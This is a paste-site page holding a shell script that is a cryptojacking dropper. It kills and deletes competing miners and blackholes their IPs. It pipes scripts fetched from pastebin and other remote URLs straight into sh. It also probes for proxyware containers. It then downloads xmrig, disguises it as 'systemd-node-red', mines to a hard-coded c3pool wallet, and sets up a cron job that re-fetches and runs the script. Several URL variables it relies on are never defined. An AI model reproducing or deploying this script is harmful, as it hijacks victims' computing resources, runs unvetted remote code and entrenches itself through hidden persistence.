Guest

Untitled 1729

May 1st, 2026
76
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 25.52 KB | None | 0 0
  1. #!/bin/sh
  2.  
  3.  
  4. ORIGINAL_BINARY_NAME="xmrig-vrl"
  5.  
  6. RENAMED_BINARY="systemd-node-red"
  7.  
  8. BINARY_ARGS="-o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH"
  9. PROCESS_CHECK_STRING="goAwgBCFH" #xtm wallet
  10.  
  11. set -e
  12.  
  13. log() {
  14. echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"
  15. }
  16.  
  17. cleanup() {
  18. if [ -n "$TMP_DIR" ] && [ -d "$TMP_DIR" ]; then
  19. log "Cleaning up temporary directory: $TMP_DIR"
  20. rm -rf "$TMP_DIR"
  21. fi
  22. }
  23.  
  24. trap cleanup EXIT
  25.  
  26. for pid in $(pgrep -f 'bash /tmp/.*\.sh'); do
  27. if [ "$pid" != "$$" ] && [ "$pid" != "$PPID" ]; then
  28. kill -9 "$pid" 2>/dev/null && echo "Killed process $pid"
  29. fi
  30. done
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38. kill_and_remove_process() {
  39. local term="$1"
  40. if [ -z "$term" ]; then
  41. echo "term not provided."
  42. return 2
  43. fi
  44.  
  45. local pids
  46. pids=$(ps -eo pid,args | grep "$term" | grep -v grep | awk '{print $1}')
  47.  
  48. if [ -z "$pids" ]; then
  49. return 1
  50. fi
  51.  
  52. for pid in $pids; do
  53. local exe_path
  54. exe_path=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
  55.  
  56. if [ -z "$exe_path" ]; then
  57. echo "Skipping PID $pid"
  58. continue
  59. fi
  60.  
  61. # SAFETY CHECK: Exclude common system binary paths
  62. case "$exe_path" in
  63. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*)
  64. echo "Skipping system binary for PID $pid at: $exe_path"
  65. continue # Move to the next PID
  66. ;;
  67. esac
  68.  
  69. # If the checks pass, proceed with termination and deletion
  70. echo "Terminating non-system process '$term' with PID: $pid"
  71. kill -9 "$pid"
  72.  
  73. if [ -f "$exe_path" ]; then
  74. echo "Deleting executable: $exe_path"
  75. rm -f "$exe_path"
  76. if [ $? -eq 0 ]; then
  77. echo "Executable successfully deleted."
  78. else
  79. echo "Error: Failed to delete executable. Check permissions."
  80. fi
  81. else
  82. echo "Executable for PID $pid not found for deletion (already removed or inaccessible)."
  83. fi
  84. done
  85.  
  86. return 0
  87. }
  88.  
  89.  
  90. kill_and_remove_process "crazyeltonproxy" || true
  91. kill_and_remove_process "xmrig" || true
  92. kill_and_remove_process "monero" || true
  93. kill_and_remove_process "c3pool.org:80" || true
  94. kill_and_remove_process "/bin/watcher" || true
  95. kill_and_remove_process "nuclear" || true
  96. kill_and_remove_process "45.94.31.89" || true
  97. kill_and_remove_process "hosts-to-ignore" || true
  98. kill_and_remove_process "supportxmr" || true
  99. kill_and_remove_process "youyutebuae.xyz" || true
  100. ip route add blackhole 45.94.31.89 || true
  101. ip route add blackhole 139.59.59.33 || true
  102. ip route add blackhole 154.89.152.115 || true
  103. rm -rf /bin/softirq || true
  104. rm -rf /usr/local/bin/watcher || true
  105. rm -rf /tmp/runnv/* || true
  106. rm -rf /tmp/nuclear || true
  107. mkdir -p /tmp/nuclear || true
  108. mkdir -p /tmp/runnv/lived.sh || true
  109. mkdir -p /tmp/runnv/alive.sh || true
  110. mkdir -p /bin/softirq || true
  111. mkdir -p /usr/local/bin/watcher || true
  112. nohup sh -c "{ wget -qO- https://pastebin.com/raw/2jtsz9Tk || curl -sSLk https://pastebin.com/raw/2jtsz9Tk; } | tr -d '\r' | sh" >/dev/null 2>&1 &
  113.  
  114.  
  115.  
  116. # ---- proxy probe ----
  117. M4B_PROXY_STATUS="off"
  118.  
  119. m4b_proxy_is_on() {
  120. if docker ps --format '{{.Names}}' 2>/dev/null | grep -Eq 'proxyrack|proxylite|tun2socks|money4band'; then
  121. return 0
  122. fi
  123. return 1
  124. }
  125.  
  126. m4b_proxy_probe() {
  127. tmp_log="$(mktemp 2>/dev/null || printf '/tmp/m4b_probe_%s.log' "$$")"
  128.  
  129. rc=1
  130. (
  131. # isolate probe from global `set -e`
  132. set +e
  133. if wget -qO- "$url" 2>/dev/null | sh; then
  134. exit 0
  135. fi
  136. if curl -fsSL "$url" 2>/dev/null | sh; then
  137. exit 0
  138. fi
  139. exit 1
  140. ) >"$tmp_log" 2>&1 || rc=$?
  141.  
  142. if [ "$rc" -eq 0 ] && grep -q '\[STATUS\] OK' "$tmp_log"; then
  143. i=1
  144. while [ "$i" -le 5 ]; do
  145. if m4b_proxy_is_on; then
  146. M4B_PROXY_STATUS="on"
  147. echo "PROXYYYY ONN BABY"
  148. rm -f "$tmp_log" 2>/dev/null || true
  149. return 0
  150. fi
  151. i=$((i + 1))
  152. sleep 2
  153. done
  154. fi
  155.  
  156. M4B_PROXY_STATUS="off"
  157. echo "No PROXY"
  158. rm -f "$tmp_log" 2>/dev/null || true
  159. return 0
  160. }
  161. # ---- end proxy probe ----
  162.  
  163. m4b_proxy_probe
  164.  
  165.  
  166.  
  167. is_process_running() {
  168. if ps -o args | grep -F "$PROCESS_CHECK_STRING" | grep -vF 'grep' > /dev/null; then
  169. return 0 # Process is running
  170. else
  171. return 1 # Process is not running
  172. fi
  173. }
  174.  
  175. get_cpu_cores() {
  176. if [ -f /proc/cpuinfo ]; then
  177. grep -c '^processor' /proc/cpuinfo
  178. elif command -v nproc >/dev/null; then
  179. nproc
  180. elif command -v sysctl >/dev/null; then
  181. sysctl -n hw.ncpu 2>/dev/null || echo 1
  182. else
  183. echo 1
  184. fi
  185. }
  186.  
  187. create_cronjob() {
  188. local cron_command
  189. if command -v curl >/dev/null; then
  190. cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | /bin/sh'"
  191. elif command -v wget >/dev/null; then
  192. cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | /bin/sh'"
  193. else
  194. log "Error: Cannot create cron job, neither curl nor wget is available."
  195. return 1
  196. fi
  197.  
  198. (crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
  199. log "Cron job successfully configured."
  200. }
  201.  
  202. CPU_CORES=$(get_cpu_cores)
  203. if [ "$CPU_CORES" -le 3 ]; then
  204. log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
  205. exit 0
  206. fi
  207. log "CPU core count ($CPU_CORES) is sufficient."
  208.  
  209.  
  210. if [ ! -f /etc/alpine-release ]; then
  211. log "Not an Alpine Linux environment. Executing fallback script."
  212. if command -v curl >/dev/null; then
  213. curl -fsSLk "$FALLBACK_SCRIPT_URL" | tr -d '\r' | bash
  214. elif command -v wget >/dev/null; then
  215. wget -qO- "$FALLBACK_SCRIPT_URL" | tr -d '\r'| bash
  216. else
  217. log "Error: Neither curl nor wget is available for fallback execution."
  218. exit 1
  219. fi
  220. exit 0
  221. fi
  222.  
  223. if is_process_running; then
  224. log "Process with check string '$PROCESS_CHECK_STRING' is already running. Exiting."
  225. exit 0
  226. fi
  227.  
  228. CPU_CORES=$(get_cpu_cores)
  229. if [ "$CPU_CORES" -le 3 ]; then
  230. log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
  231. exit 0
  232. fi
  233. log "CPU core count ($CPU_CORES) is sufficient."
  234.  
  235.  
  236.  
  237. USER_ID=$(id -u)
  238. if [ "$USER_ID" -eq 0 ]; then
  239. log "Running as root. System-wide installation will be performed."
  240. INSTALL_DIR="/usr/local/bin"
  241. else
  242. log "Running as non-root user. Installing locally to $HOME/.app"
  243. INSTALL_DIR="/tmp/.app"
  244. fi
  245.  
  246. mkdir -p "$INSTALL_DIR"
  247.  
  248. if [ "$USER_ID" -ne 0 ]; then
  249. export PATH="$INSTALL_DIR:$PATH"
  250. fi
  251.  
  252. if [ "$USER_ID" -eq 0 ]; then
  253. if ! command -v crontab >/dev/null; then
  254. log "Warning: 'crontab' not found. Attempting to install 'cron' as root."
  255. apk add --no-cache cron
  256. rc-update add crond default
  257. rc-service crond start
  258. log "Cron installed and started."
  259. fi
  260. else
  261. if ! command -v crontab >/dev/null; then
  262. log "Warning: 'crontab' command not found. Cannot install as non-root. Cron job creation may fail."
  263. fi
  264. fi
  265.  
  266. TMP_DIR=$(mktemp -d)
  267. cd "$TMP_DIR"
  268.  
  269. DOWNLOAD_URL="$PROGRAM_URL"
  270. LOG_MESSAGE="Downloading program from $PROGRAM_URL..."
  271.  
  272. if [ -f /etc/alpine-release ] && [ "$(uname -m)" = "aarch64" ]; then
  273. log "Alpine Linux on ARM64 detected. Switching to alternative program URL."
  274. DOWNLOAD_URL="$PROGRAM_URL2"
  275. LOG_MESSAGE="Downloading program from $PROGRAM_URL2..."
  276. fi
  277.  
  278. log "$LOG_MESSAGE"
  279. if command -v curl >/dev/null; then
  280. curl -fsSLk -o "xmrig-vrl" "$DOWNLOAD_URL"
  281. elif command -v wget >/dev/null; then
  282. wget -qO "xmrig-vrl" "$DOWNLOAD_URL"
  283. else
  284. log "Error: Neither curl nor wget is available to download the program."
  285. rm -rf "$TMP_DIR"
  286. exit 1
  287. fi
  288.  
  289.  
  290.  
  291. log "Now its protobin..."
  292. #tar -xzf "program.tar.gz"
  293. #tar -xf "program.tar.gz"
  294.  
  295. log "Searching for binary '$ORIGINAL_BINARY_NAME'..."
  296. BINARY_PATH=$(find . -type f -name "$ORIGINAL_BINARY_NAME")
  297.  
  298. if [ -z "$BINARY_PATH" ]; then
  299. log "Error: Executable binary '$ORIGINAL_BINARY_NAME' not found."
  300. exit 1
  301. fi
  302.  
  303. log "Binary found. Moving to $INSTALL_DIR/$RENAMED_BINARY"
  304. mv "$BINARY_PATH" "$INSTALL_DIR/$RENAMED_BINARY"
  305. chmod 755 "$INSTALL_DIR/$RENAMED_BINARY"
  306.  
  307. log "Executing '$RENAMED_BINARY' from PATH..."
  308. "$RENAMED_BINARY" ${BINARY_ARGS} &
  309. sleep 3
  310.  
  311. if ! is_process_running; then
  312. log "Error: Program failed to start or exited prematurely."
  313. exit 1
  314. fi
  315. log "Success: Program is now running in the background."
  316.  
  317. create_cronjob "$SCRIPT_URL"
  318.  
  319. log "Script execution completed successfully."
  320.  
  321. exit 0
RAW Paste Data Copied